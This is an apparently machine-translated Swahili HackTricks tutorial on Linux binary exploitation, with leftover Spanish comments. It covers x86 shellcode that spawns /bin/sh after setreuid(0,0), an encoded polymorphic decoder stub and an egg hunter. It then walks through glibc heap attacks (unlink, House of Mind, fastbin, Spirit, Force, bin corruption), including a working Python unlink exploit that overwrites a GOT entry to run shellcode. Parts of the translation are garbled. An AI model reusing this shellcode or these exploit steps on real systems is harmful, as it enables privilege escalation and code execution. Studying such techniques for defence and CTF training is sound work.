27 KiB
Kudukua Linux (Msingi) (SPA)
Jifunze kudukua AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!
Njia nyingine za kusaidia HackTricks:
- Ikiwa unataka kuona kampuni yako ikitangazwa kwenye HackTricks au kupakua HackTricks kwa PDF Angalia MIPANGO YA KUJIUNGA!
- Pata bidhaa rasmi za PEASS & HackTricks
- Gundua Familia ya PEASS, mkusanyiko wetu wa NFTs za kipekee
- Jiunge na 💬 Kikundi cha Discord au kikundi cha telegram au tufuate kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.
2.SHELLCODE
Angalia mapumziko ya kernel: cat /usr/include/i386-linux-gnu/asm/unistd_32.h | grep “__NR_”
setreuid(0,0); // __NR_setreuid 70
execve(“/bin/sh”, args[], NULL); // __NR_execve 11
exit(0); // __NR_exit 1
xor eax, eax ; safisha eax
xor ebx, ebx ; ebx = 0 kwa sababu hakuna hoja ya kupitisha
mov al, 0x01 ; eax = 1 —> __NR_exit 1
int 0x80 ; Tekeleza syscall
nasm -f elf assembly.asm —> Inarudi .o
ld assembly.o -o shellcodeout —> Inatoa kutekelezeka iliyoundwa na msimbo wa mkusanyiko na tunaweza kutoa opcodes na objdump
objdump -d -Mintel ./shellcodeout —> Ili kuona kwamba kwa kweli ni shellcode yetu na kutoa OpCodes
Thibitisha kwamba shellcode inafanya kazi
char shellcode[] = “\x31\xc0\x31\xdb\xb0\x01\xcd\x80”
void main(){
void (*fp) (void);
fp = (void *)shellcode;
fp();
}<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1"></span>
Ili kuhakikisha kwamba wito wa mfumo unafanyika kwa usahihi, programu inapaswa kuchakatwa na wito wa mfumo unapaswa kuonekana katika strace ./PROGRAMA_COMPILADO
Wakati wa kuunda shellcodes, unaweza kutumia hila. Maagizo ya kwanza ni jump kwenda kwenye wito. Wito unaita msimbo wa awali na pia huingiza EIP kwenye stack. Baada ya maagizo ya wito, tumeweka string tunayohitaji, kwa hivyo na EIP hiyo tunaweza kuelekeza kwenye string na kuendelea kutekeleza msimbo.
EJ HILA (/bin/sh):
jmp 0x1f ; Salto al último call
popl %esi ; Guardamos en ese la dirección al string
movl %esi, 0x8(%esi) ; Concatenar dos veces el string (en este caso /bin/sh)
xorl %eax, %eax ; eax = NULL
movb %eax, 0x7(%esi) ; Ponemos un NULL al final del primer /bin/sh
movl %eax, 0xc(%esi) ; Ponemos un NULL al final del segundo /bin/sh
movl $0xb, %eax ; Syscall 11
movl %esi, %ebx ; arg1=“/bin/sh”
leal 0x8(%esi), %ecx ; arg[2] = {“/bin/sh”, “0”}
leal 0xc(%esi), %edx ; arg3 = NULL
int $0x80 ; excve(“/bin/sh”, [“/bin/sh”, NULL], NULL)
xorl %ebx, %ebx ; ebx = NULL
movl %ebx, %eax
inc %eax ; Syscall 1
int $0x80 ; exit(0)
call -0x24 ; Salto a la primera instrución
.string \”/bin/sh\” ; String a usar<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1"></span>
Kutumia Stack(/bin/sh):
section .text
global _start
_start:
xor eax, eax ;Limpieza
mov al, 0x46 ; Syscall 70
xor ebx, ebx ; arg1 = 0
xor ecx, ecx ; arg2 = 0
int 0x80 ; setreuid(0,0)
xor eax, eax ; eax = 0
push eax ; “\0”
push dword 0x68732f2f ; “//sh”
push dword 0x6e69622f; “/bin”
mov ebx, esp ; arg1 = “/bin//sh\0”
push eax ; Null -> args[1]
push ebx ; “/bin/sh\0” -> args[0]
mov ecx, esp ; arg2 = args[]
mov al, 0x0b ; Syscall 11
int 0x80 ; excve(“/bin/sh”, args[“/bin/sh”, “NULL”], NULL)
EJ FNSTENV:
fabs
fnstenv [esp-0x0c]
pop eax ; Guarda el EIP en el que se ejecutó fabs
…
Mwindaji wa Yai:
Inajumuisha nambari ndogo inayopitia kurasa za kumbukumbu zinazohusiana na mchakato kutafuta shellcode iliyohifadhiwa hapo (inatafuta saini fulani iliyojumuishwa kwenye shellcode). Inatumika katika hali ambapo kuna nafasi ndogo tu ya kuingiza nambari.
Shellcodes za Polimofiki
Hizi ni shell zilizofichwa ambazo zina nambari ndogo za kuzifichua na kuziruka, zikitumia mbinu ya Call-Pop hii itakuwa mfano wa kificho kilichofichwa kwa Cesar:
global _start
_start:
jmp short magic
init:
pop esi
xor ecx, ecx
mov cl,0 ; Hay que sustituir el 0 por la longitud del shellcode (es lo que recorrerá)
desc:
sub byte[esi + ecx -1], 0 ; Hay que sustituir el 0 por la cantidad de bytes a restar (cifrado cesar)
sub cl, 1
jnz desc
jmp short sc
magic:
call init
sc:
;Aquí va el shellcode
5. Mbinu Zingine
8 Kujaza Kwa Heap: Mbinu za Msingi za Udukuzi
Kipande kilichotengwa
prev_size |
size | —Kichwa
*mem | Data
Kipande huru
prev_size |
size |
*fd | Ptr mbele ya kipande
*bk | Ptr nyuma ya kipande —Kichwa
*mem | Data
Vipande huru vipo kwenye orodha iliyofungwa mara mbili (bin) na kamwe haziwezi kuwa na vipande huru viwili pamoja (vinajumuishwa)
Katika "size" kuna bits za kuonyesha: Ikiwa kipande kilichotangulia kina matumizi, ikiwa kipande kimepewa kwa kutumia mmap() na ikiwa kipande ni sehemu ya uwanja wa msingi.
Kwa kufuta kipande, ikiwa vipande vya jirani vina huru, hivi vinajumuishwa kupitia macro unlink() na kipande kipya kikubwa zaidi kinapitishwa kwa frontlink() ili kiingizwe kwenye bin sahihi.
unlink(){
BK = P->bk; —> BK ya kipande kipya ni ile iliyokuwa huru awali
FD = P->fd; —> FD ya kipande kipya ni ile iliyokuwa huru awali
FD->bk = BK; —> BK ya kipande kinachofuata inaelekeza kwenye kipande kipya
BK->fd = FD; —> FD ya kipande kilichotangulia inaelekeza kwenye kipande kipya
}
Hivyo basi, ikiwa tunaweza kubadilisha P->bk na anwani ya shellcode na P->fd na anwani kwa kuingia kwenye GOT au DTORS chini ya 12, tunafanikiwa:
BK = P->bk = &shellcode
FD = P->fd = &__dtor_end__ - 12
FD->bk = BK -> *((&__dtor_end__ - 12) + 12) = &shellcode
Na hivyo shellcode itatekelezwa wakati programu inamalizika.
Zaidi ya hayo, sentensi ya 4 ya unlink() inaandika kitu na shellcode lazima iboreshwe kwa hili:
BK->fd = FD -> *(&shellcode + 8) = (&__dtor_end__ - 12) —> Hii husababisha kuandika bytes 4 kutoka kwa byte ya 8 ya shellcode, hivyo maagizo ya kwanza ya shellcode lazima iwe jmp ili kupita hili na kuingia kwenye nops ambazo zitafikisha kwenye sehemu nyingine ya shellcode.
Hivyo basi, udanganyifu unajengwa:
Kwenye buffer1 tunaweka shellcode ikiwaanza na jmp ili iingie kwenye nops au sehemu nyingine ya shellcode.
Baada ya shell code tunaweka kujaza hadi kufikia uga wa prev_size na size wa kipande kinachofuata. Maeneo haya tunaweka 0xfffffff0 (ili prev_size ibadilishwe ili iwe na bit inayosema kuwa ni huru) na "-4" (0xfffffffc) kwenye size (ili wakati wa kuchunguza kwenye kipande cha 3 ikiwa kipande cha 2 kilikuwa huru kwa kweli iende kwenye prev_size iliyobadilishwa itakayosema kuwa ni huru) -> Hivyo wakati free() inachunguza itaenda kwenye size ya 3 lakini kwa kweli itaenda kwenye 2 - 4 na kufikiri kipande cha 2 kiko huru. Na kisha itaita unlink().
Kwa kuita unlink() itatumia kama P->fd data za kwanza za kipande cha 2 hivyo anwani itawekwa ambapo unataka kubadilisha - 12 (kwa sababu katika FD->bk itaongeza 12 kwa anwani iliyohifadhiwa kwenye FD). Na kwenye anwani hiyo itaingiza anwani ya pili inayopatikana kwenye kipande cha 2, ambayo itakuwa anwani ya shellcode (P->bk bandia).
from struct import *
import os
shellcode = "\xeb\x0caaaabbbbcccc" #jm 12 + 12bytes ya kujaza
shellcode += "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" \
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" \
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
prev_size = pack("<I”, 0xfffffff0) #Inahitajika bit inayoonyesha kuwa kipande kilichotangulia ni huru iwe 1
fake_size = pack("<I”, 0xfffffffc) #-4, ili kufikiri "size" ya kipande cha 3 iko nyuma kwa bytes 4 (inamaanisha prev_size) kwani hapa ndipo inatazama ikiwa kipande cha 2 kiko huru
addr_sc = pack("<I", 0x0804a008 + 8) #Kwenye mzigo mwanzoni tutaweka 8bytes ya kujaza
got_free = pack("<I", 0x08048300 - 12) #Anwani ya free() kwenye plt-12 (itakuwa anwani itakayobadilishwa ili shellcode iitwe mara ya pili free)
payload = "aaaabbbb" + shellcode + "b"*(512-len(shellcode)-8) # Kama ilivyosemwa mzigo unaanza na 8 bytes ya kujaza kwa sababu
payload += prev_size + fake_size + got_free + addr_sc #Kipande cha 2 kinabadilishwa, got_free inaelekeza kwenye mahali tutakapohifadhi anwani addr_sc + 12
os.system("./8.3.o " + payload)
unset() ikiondoa kwa mpangilio wa nyuma (mchezo wa vita)
Tunadhibiti vipande 3 vya mfululizo na vinatolewa kwa mpangilio wa nyuma wa kile kilichoreswa.
Katika kesi hiyo:
Kwenye kipande c tunaweka shellcode
Kipande a tunakitumia kubadilisha b ili size iwe na bit PREV_INUSE iliyozimwa ili iweze kufikiri kipande a kiko huru.
Zaidi ya hayo, tunabadilisha kichwa cha b ili size iwe -4.
Kwa hivyo, programu itafikiri "a" iko huru na kwenye bin, hivyo itaita unlink() kuiondoa. Hata hivyo, kwa kuwa kichwa PREV_SIZE ni -4. Itafikiri kwamba kipande cha "a" kwa kweli kinaanza kwenye b+4. Yaani, itafanya unlink() kwa kipande kinachoanza kwenye b+4, hivyo kwenye b+12 kutakuwa na pointer "fd" na kwenye b+16 kutakuwa na pointer "bk".
Kwa njia hii, tukiweka anwani ya shellcode kwenye bk na tukiweka anwani ya kazi "puts()" -12 kwenye fd tunapata payload yetu.
Mbinu ya Frontlink
Frontlink inaitwa wakati kitu kinapotolewa na hakuna vipande vyake vya jirani vilivyo huru, unlink() haitelewi bali frontlink() inaitwa moja kwa moja.
Udhaifu ni muhimu wakati malloc inayoshambuliwa haijawahi kufutwa (free()).
Inahitaji:
Buffer ambalo linaweza kufurika na kazi ya kuingiza data
Buffer unaoendelea na huu unapaswa kuachiliwa na kichwa chake kubadilishwa kwa kutumia kujaza kutoka kwa buffer uliotangulia
Buffer la kuachiliwa lenye ukubwa zaidi ya 512 lakini chini ya buffer uliotangulia
Buffer uliotangulia kabla ya hatua 3 ambao unaruhusu kubadilisha prev_size yake
Kwa njia hii, kwa kufanikiwa kuchora kwenye mallocs mbili kwa njia isiyo na udhibiti na moja kwa njia ya udhibiti lakini inayotolewa ni moja tu, tunaweza kufanya udanganyifu.
Udhaifu wa double free()
Ikiwa free() inaitwa mara mbili na pointer sawa, kuna bins mbili zinazoashiria anwani ile ile.
Ikiwa unataka kutumia moja tena, itapewa bila shida. Ikiwa unataka kutumia nyingine, itapewa nafasi ile ile hivyo tutakuwa na pointers "fd" na "bk" zilizodanganywa na data itakayowekwa na akiba ya awali.
Baada ya free()
Pointer iliyotolewa awali inatumika tena bila udhibiti.
8 Mwambukizi wa Heap: Mbinu za Udukuzi za Juu
Mbinu za Unlink() na FrontLink() ziliondolewa kwa kubadilisha kazi ya unlink().
The house of mind
Wito wa pekee wa free() unahitajika kusababisha utekelezaji wa nambari ya kiholela. Ni muhimu kutafuta kipande cha pili ambacho kinaweza kufurika na kipande cha awali na kuachiliwa.
Wito wa free() husababisha wito wa public_fREe(mem), hii inafanya:
mstate ar_ptr;
mchunkptr p;
…
p = mem2chunk(mes); —> Inarudisha kipande cha kipande cha kuanzia (mem-8)
…
ar_ptr = arena_for_chunk(p); —> chunk_non_main_arena(ptr)?heap_for_ptr(ptr)->ar_ptr:&main_arena [1]
…
_int_free(ar_ptr, mem);
}
Katika [1] inathibitisha uwanja wa ukubwa wa biti NON_MAIN_ARENA, ambayo inaweza kubadilishwa ili uhakiki irudishe kweli na kutekeleza heap_for_ptr() ambayo inafanya "mem" kuwa 0, kuacha 2.5 byte zisizo muhimu (katika kesi yetu ya 0x0804a000 inaacha 0x08000000) na kufikia 0x08000000->ar_ptr (kana kwamba ni muundo wa heap_info)
Kwa njia hii, ikiwa tunaweza kudhibiti kipande kwa mfano kwa 0x0804a000 na kipande kitafutwa katika 0x081002a0 tunaweza kufikia anwani 0x08100000 na kuandika chochote tunachotaka, kwa mfano 0x0804a000. Wakati kipande cha pili kitakapofutwa, itagundua kwamba heap_for_ptr(ptr)->ar_ptr inarudisha kile tulichoandika katika 0x08100000 (kwa sababu inatumia 0x081002a0 na operesheni tuliyoyaona hapo awali na kutoka hapo inachukua thamani ya byte 4 za kwanza, ar_ptr)
Kwa njia hii wito wa _int_free(ar_ptr, mem) unaitwa, yaani, _int_free(0x0804a000, 0x081002a0)
_int_free(mstate av, Void_t* mem){
…
bck = unsorted_chunks(av);
fwd = bck->fd;
p->bk = bck;
p->fd = fwd;
bck->fd = p;
fwd->bk = p;
..}
Kama tulivyoona hapo awali tunaweza kudhibiti thamani ya av, kwa hivyo ndio tunachoandika kwenye kipande kitakachofutwa.
Kama ilivyoelezwa unsorted_chunks, tunajua kwamba:
bck = &av->bins[2]-8;
fwd = bck->fd = *(av->bins[2]);
fwd->bk = *(av->bins[2] + 12) = p;
Kwa hivyo ikiwa tunaweka thamani ya __DTOR_END__-12 kwenye av->bins[2] katika maagizo ya mwisho itaandikwa kwenye __DTOR_END__ anwani ya kipande cha pili.
Yaani, katika kipande cha kwanza tunapaswa kuweka anwani ya __DTOR_END__-12 mara nyingi mwanzoni kwa sababu ndio av->bins[2] itakayochukua.
Katika anwani ambayo anwani ya kipande cha pili itaanguka na sifuri za mwisho tano, tunapaswa kuandika anwani ya kipande cha kwanza ili heap_for_ptr() iweze kufikiria kwamba ar_ptr iko mwanzoni mwa kipande cha kwanza na kuchukua av->bins[2]
Katika kipande cha pili na kwa msaada wa kwanza tunaweza kubadilisha prev_size na kuruka 0x0c na ukubwa na kitu cha kuamsha -> NON_MAIN_ARENA
Kisha katika kipande cha pili tunaweka nops nyingi na mwishowe shellcode
Kwa njia hii wito wa _int_free(TROZO1, TROZO2) utaitwa na kufuata maagizo ya kuandika kwenye __DTOR_END__ anwani ya prev_size ya TROZO2 ambayo itaruka kwenye shellcode.
Kuomba mbinu hii, kuna mahitaji kadhaa ambayo yanafanya mzigo wa payload kuwa mgumu kidogo.
Mbinu hii sio inayoweza kutumika tena kwa sababu ilipata karibu na patch sawa na unlink. Inalinganisha ikiwa tovuti mpya inayolengwa pia inalengwa.
Fastbin
Ni toleo la The house of mind
tunataka kutekeleza nambari ifuatayo ambayo inafikiwa baada ya ukaguzi wa kwanza wa kazi ya _int_free()
fb = &(av->fastbins[fastbin_index(size)] —> Ikiwa fastbin_index(sz) —> (sz >> 3) - 2
…
p->fd = *fb
*fb = p
Kwa njia hii ikiwekwa kwenye "fb" inatoa anwani ya kazi katika GOT, kwenye anwani hii itawekwa anwani ya kipande kilichobadilishwa. Kwa hili itahitajika uwanja uwe karibu na anwani za dtors. Hasa av->max_fast iko kwenye anwani ambayo tutaiandika.
Kwa kuwa na The House of Mind tuliona kwamba sisi tunadhibiti nafasi ya av.
Kwa hivyo ikiwa tunaweka ukubwa wa 8 + NON_MAIN_ARENA + PREV_INUSE kwenye uwanja wa ukubwa —> fastbin_index() itatupa fastbins[-1], ambayo itaashiria av->max_fast
Katika kesi hii av->max_fast itakuwa anwani itakayoandikwa (sio anwani itakayolengwa, lakini nafasi hiyo itaandikwa).
Pia lazima iwe kwamba kipande kinachopakana na kilichofutwa lazima kiwe kikubwa kuliko 8 -> Kwa kuwa tumesema ukubwa wa kipande kilichofutwa ni 8, katika kipande hiki bandia tunahitaji kuweka ukubwa mkubwa kuliko 8 (kwa kuongezea shellcode itakuwa kwenye kipande kilichofutwa, itabidi kuweka mwanzoni mwa jmp ambayo itaanguka kwenye nops).
Zaidi ya hayo, kipande hicho bandia lazima kiwe kidogo kuliko av->system_mem. av->system_mem iko 1848 byte zaidi.
Kwa sababu ya nulls za _DTOR_END_ na anwani chache katika GOT, hakuna anwani kutoka sehemu hizi zinazofaa kuandikwa, kwa hivyo tuone jinsi ya kutumia fastbin kushambulia safu.
Njia nyingine ya shambulio ni kuelekeza av kuelekea safu.
Ikiwa tunabadilisha ukubwa ili iwe 16 badala ya 8 basi: fastbin_index() itatupa fastbins[0] na tunaweza kutumia hii kuandika safu.
Kwa hili hapaswi kuwa na canary yoyote au thamani za ajabu kwenye safu, kwa kweli tunapaswa kuwa katika hali hii: 4bytes za null + EBP + RET
4 bytes za null zinahitajika ili av iwe kwenye anwani hii na kipengee cha kwanza cha av ni mutex ambayo lazima iwe 0.
av->max_fast itakuwa EBP na itakuwa thamani itakayotusaidia kuruka vikwazo.
Katika av->fastbins[0] itaandikwa na anwani ya p na itakuwa RET, hivyo itaruka kwenye shellcode.
Zaidi ya hayo, katika av->system_mem (1484bytes juu ya nafasi kwenye safu) kutakuwa na takataka nyingi ambazo zitaruhusu kutupita ukaguzi uliofanywa.
Pia lazima iwe kwamba kipande kinachopakana na kilichofutwa lazima kiwe kikubwa kuliko 8 -> Kwa kuwa tumesema ukubwa wa kipande kilichofutwa ni 16, katika kipande hiki bandia tunahitaji kuweka ukubwa mkubwa kuliko 8 (kwa kuongezea shellcode itakuwa kwenye kipande kilichofutwa, itabidi kuweka mwanzoni mwa jmp ambayo itaanguka kwenye nops zilizo baada ya uga wa ukubwa wa kipande kipya bandia).
The House of Spirit
Katika kesi hii tunatafuta kuwa na pointer kwa malloc ambayo inaweza kubadilishwa na mshambuliaji (kwa mfano, pointer iko kwenye stack chini ya kipeperushi cha kipekee kwa kipengee).
Hivyo, tunaweza kufanya pointer huu uende popote. Walakini, sio kila eneo ni sahihi, ukubwa wa kipande bandia lazima uwe mdogo kuliko av->max_fast na hasa sawa na ukubwa ulioombwa katika wito wa baadaye wa malloc()+8. Kwa hivyo, ikiwa tunajua kwamba baada ya pointer huu wa udhaifu kuna wito wa malloc(40), ukubwa wa kipande bandia lazima uwe sawa na 48. Kwa mfano, ikiwa programu itamuuliza mtumiaji nambari, tunaweza kuingiza 48 na kuelekeza pointer ya malloc inayoweza kubadilishwa kwa byte 4 inayofuata (ambayo inaweza kuwa sehemu ya EBP kwa bahati nzuri, hivyo 48 inabaki nyuma, kana kwamba ni kichwa cha ukubwa). Aidha, anwani ptr-4+48 lazima izingatie masharti kadhaa (katika kesi hii ptr=EBP), yaani, 8 < ptr-4+48 < av->system_mem.
Ikiwa hii itatimizwa, wakati malloc inayofuata ambayo tulisema ilikuwa malloc(40) itaitwa, itapewa anwani ya EBP. Ikiwa mkaidi pia anaweza kudhibiti kile kinachoandikwa kwenye malloc hii, anaweza kusajili EBP na EIP na anwani anayotaka.
Nadhani hii ni kwa sababu wakati free() inafuta, itahifadhi kwamba kuna kipande cha ukubwa kamili kwa malloc() mpya inayotaka kuhifadhiwa kwenye anwani inayoashiria EBP ya stack, hivyo inampa anwani hiyo.
Nyumba ya Nguvu
Inahitajika:
- Kujaza kwa kipande ambacho inaruhusu kusajili wilderness
- Wito kwa malloc() na ukubwa uliowekwa na mtumiaji
- Wito kwa malloc() ambayo data yake inaweza kuwa iliyowekwa na mtumiaji
Jambo la kwanza linalofanyika ni kusajili ukubwa wa kipande cha wilderness na thamani kubwa sana (0xffffffff), hivyo ombi lolote la kumbukumbu kubwa litashughulikiwa katika _int_malloc() bila haja ya kupanua heap
Jambo la pili ni kubadilisha av->top ili ielekee eneo la kumbukumbu chini ya udhibiti wa mkaidi, kama stack. Av->top itawekwa &EIP - 8.
Tunahitaji kubadilisha av->top ili ielekee eneo la kumbukumbu chini ya udhibiti wa mkaidi:
mwathirika = av->top;
mabaki = chunck_at_offset(mwathirika, nb);
av->top = mabaki;
Mwathirika hukusanya thamani ya anwani ya kipande cha wilderness cha sasa (av->top ya sasa) na mabaki ni hasa jumla ya anwani hiyo plus idadi ya byte inayotakiwa na malloc(). Kwa hivyo, ikiwa &EIP-8 iko kwenye 0xbffff224 na av->top ina 0x080c2788, basi idadi ya byte inayopaswa kuhifadhiwa kwenye malloc iliyodhibitiwa ili av->top ielekee $EIP-8 kwa malloc() inayofuata itakuwa:
0xbffff224 - 0x080c2788 = 3086207644.
Hivyo thamani iliyobadilishwa itahifadhiwa kwenye av->top na malloc inayofuata itaelekeza kwa EIP na inaweza kusajili.
Ni muhimu kujua kwamba ukubwa wa kipande kipya cha wilderness ni kubwa kuliko ombi lililofanywa na malloc la mwisho. Yaani, ikiwa wilderness inaelekeza kwa &EIP-8, ukubwa utabaki moja kwa moja kwenye uga wa EBP wa stack.
Nyumba ya Hadithi
Uharibifu wa SmallBin
Vipande vilivyosajiliwa huingizwa kwenye bin kulingana na ukubwa wao. Lakini kabla ya kuingizwa, hufungwa kwenye bins zisizopangwa. Kipande kilichosajiliwa hakiingizwi moja kwa moja kwenye bin yake bali kinabaki kwenye bins zisizopangwa. Kisha, ikiwa kipande kipya kinahitajika na kipande kilichosajiliwa kinaweza kutumika, kinarejeshwa, lakini ikiwa kipande kikubwa kinahitajika, kipande kilichosajiliwa kwenye bins zisizopangwa kinawekwa kwenye bin yake sahihi.
Ili kufikia kanuni ya udhaifu, ombi la kumbukumbu linapaswa kuwa kubwa kuliko av->max_fast (kawaida 72) na chini ya MIN_LARGE_SIZE (512).
Ikiwa kuna kipande kwenye bin lenye ukubwa unaofaa kwa ombi, kipande hicho kitarejeshwa baada ya kufunguliwa:
bck = mwathirika->bk; Inaelekeza kwenye kipande kilichotangulia, hii ndiyo habari pekee tunayoweza kubadilisha.
bin->bk = bck; Kipande cha pili cha mwisho kinakuwa cha mwisho, ikiwa bck inaelekeza kwenye stack kwa kipande kinachofuata kinachofunguliwa, itapewa anwani hii
bck->fd = bin; Orodha inafungwa kwa kufanya hii ielekee kwa bin
Inahitajika:
Kusajili malloc mbili, ili ya kwanza iweze kujazwa baada ya ya pili kufunguliwa na kuingizwa kwenye bin yake (yaani, malloc kubwa zaidi kuliko kipande cha pili kabla ya kufanya kujaza)
Kipande cha malloc kilichosajiliwa ambacho anwani yake inachaguliwa na mkaidi inadhibitiwa na mkaidi.
Lengo ni kwamba, ikiwa tunaweza kufanya kujaza kwa heap ambayo chini yake kuna kipande kilichofunguliwa na kwenye bin yake, tunaweza kubadilisha pointer yake bk. Ikiwa tunabadilisha pointer yake bk na kipande hicho kinakuwa cha kwanza kwenye orodha ya bin na kusajiliwa, bin atadanganywa na kuelezwa kwamba kipande cha mwisho cha orodha (kinachofuata kutoa) kiko kwenye anwani ya uwongo tuliyoweka (kwa mfano stack au GOT). Kwa hivyo, ikiwa kipande kingine kitasajiliwa na mkaidi ana ruhusa juu yake, atapewa kipande kwenye eneo lililotaka na anaweza kuandika humo.
Baada ya kufungua kipande kilichobadilishwa, ni muhimu kusajili kipande kikubwa kuliko kilichofunguliwa, hivyo kipande kilichobadilishwa kitatoka kwenye bins zisizopangwa na kuingizwa kwenye bin yake.
Marafiki kwenye bin wanapaswa kusubiri hadi malloc() iitwe mara kutosha ili kutumia tena bin iliyobadilishwa na kuwadanganya bin kuamini kwamba kipande kinachofuata kiko kwenye anwani ya uwongo. Kisha kipande kinachotakiwa kitapewa.
Ili kutekeleza udhaifu haraka iwezekanavyo, ni bora: Kusajili kipande cha udhaifu, kusajili kipande kitakachobadilishwa, kufungua kipande hiki, kusajili kipande kikubwa kuliko kitakachobadilishwa, kubadilisha kipande (udhaifu), kusajili kipande cha ukubwa sawa na kilichovunjwa na kusajili kipande cha pili cha ukubwa sawa na hicho na hicho kitaelekezwa kwenye anwani iliyochaguliwa.
Ili kulinda dhidi ya shambulio hili, uthibitisho wa kawaida kwamba kipande "si" ni uwongo hutumiwa: inathibitishwa ikiwa bck->fd inaelekeza kwa mwathirika. Yaani, katika kesi yetu ikiwa pointer wa fd* wa kipande cha uwongo kilichoelekezwa kwenye stack unaelekeza kwa mwathirika. Ili kuvuka ulinzi huu, mkaidi lazima aweze kuandika kwa njia fulani (kwa stack labda) kwenye anwani sahihi anwani ya mwathirika. Ili ionekane kama kipande cha kweli.
Uharibifu wa LargeBin
Mahitaji ni sawa na hapo awali na mengine zaidi, pia vipande vilivyosajiliwa vinapaswa kuwa zaidi ya 512.
Shambulio ni kama lile la awali, yaani, kubadilisha pointer bk na wito wote huo wa malloc(), lakini pia ni lazima kubadilisha ukubwa wa kipande kilichobadilishwa ili ukubwa huo - nb uwe < MINSIZE.
Kwa mfano, kuweka ukubwa kuwa 1552 ili 1552 - 1544 = 8 < MINSIZE (kutoa hakuna inaweza kuwa hasi kwa sababu inalinganishwa na unsigned)
Pia, kuna kipande cha kurekebisha kufanya iwe ngumu zaidi.
Spraying ya Heap
Kimsingi inahusisha kusajili kumbukumbu yote inayowezekana kwa heaps na kuzijaza na safu ya nops zilizomalizika na shellcode. Kama safu, 0x0c hutumiwa. Kwa hivyo, jaribio litakuwa kusonga kwa anwani 0x0c0c0c0c, na hivyo ikiwa anwani yoyote itasajiliwa na safu hii itaruka hapo. Kimsingi mkakati ni kusajili kiasi kikubwa iwezekanavyo kuona ikiwa pointer yoyote itasajiliwa na kuruka kwa 0x0c0c0c0c na kutumaini kwamba kuna nops huko.
Feng Shui ya Heap
Inahusisha kusajili na kufuta kumbukumbu kwa njia ambayo inaacha vipande vilivyosajiliwa kati ya vipande vilivyofunguliwa. Buffer ya kujaza itawekwa kwenye moja ya vipande hivi.
objdump -d executable —> Disas functions
objdump -d ./PROGRAMA | grep FUNCTION —> Get function address
objdump -d -Mintel ./shellcodeout —> Kuona kama ni shellcode yetu na kutoa OpCodes
objdump -t ./exec | grep varBss —> Jedwali la alama, ili kupata anwani ya variables na functions
objdump -TR ./exec | grep exit(func lib) —> Kupata anwani ya functions kutoka kwa maktaba (GOT)
objdump -d ./exec | grep funcCode
objdump -s -j .dtors /exec
objdump -s -j .got ./exec
objdump -t --dynamic-relo ./exec | grep puts —> Inatoa anwani ya puts ya kusahihisha kwenye GOT
objdump -D ./exec —> Disas ALL hadi kuingia kwa plt
objdump -p -/exec
Info functions strncmp —> Maelezo ya function katika gdb
Kozi za Kuvutia
- https://guyinatuxedo.github.io/
- https://github.com/RPISEC/MBE
- https://ir0nstone.gitbook.io/notes
- https://github.com/shellphish/how2heap
- https://pwnable.tw/
- https://ctf.hackucf.org/
Vyanzo
Jifunze AWS hacking kutoka sifuri hadi shujaa na htARTE (HackTricks AWS Red Team Expert)!
Njia nyingine za kusaidia HackTricks:
- Ikiwa unataka kuona kampuni yako ikitangazwa kwenye HackTricks au kupakua HackTricks kwa PDF Angalia MIPANGO YA KUJIUNGA!
- Pata bidhaa rasmi za PEASS & HackTricks
- Gundua Familia ya PEASS, mkusanyiko wetu wa NFTs ya kipekee
- Jiunge na 💬 Kikundi cha Discord au kikundi cha telegram au tufuate kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.